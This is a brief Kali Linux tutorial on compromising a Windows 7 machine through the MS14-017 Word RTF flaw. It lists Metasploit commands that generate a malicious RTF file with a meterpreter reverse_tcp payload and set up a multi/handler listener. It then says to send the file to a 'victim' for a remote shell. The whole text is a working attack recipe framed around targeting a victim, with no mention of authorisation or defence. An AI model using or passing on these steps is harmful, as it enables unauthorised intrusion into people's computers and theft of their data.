Kali Linux, Penetration Testing

Hack Remote Victim PC with MS Office Document

This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a list override count field can be modified to treat one structure as another. This bug was originally seen being exploited in the wild starting in April 2014. This module was created by reversing a public malware sample.

Exploit Targets

Microsoft Office 2010 SP2 


Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/ms14_017_rtf

msf exploit (ms14_017_rtf)>set payload windows/meterpreter/reverse_tcp

msf exploit (ms14_017_rtf)>set lhost (IP of Local Host)

msf exploit (ms14_017_rtf)>exploit

After we successfully generate the malicious rtf File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.rtf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
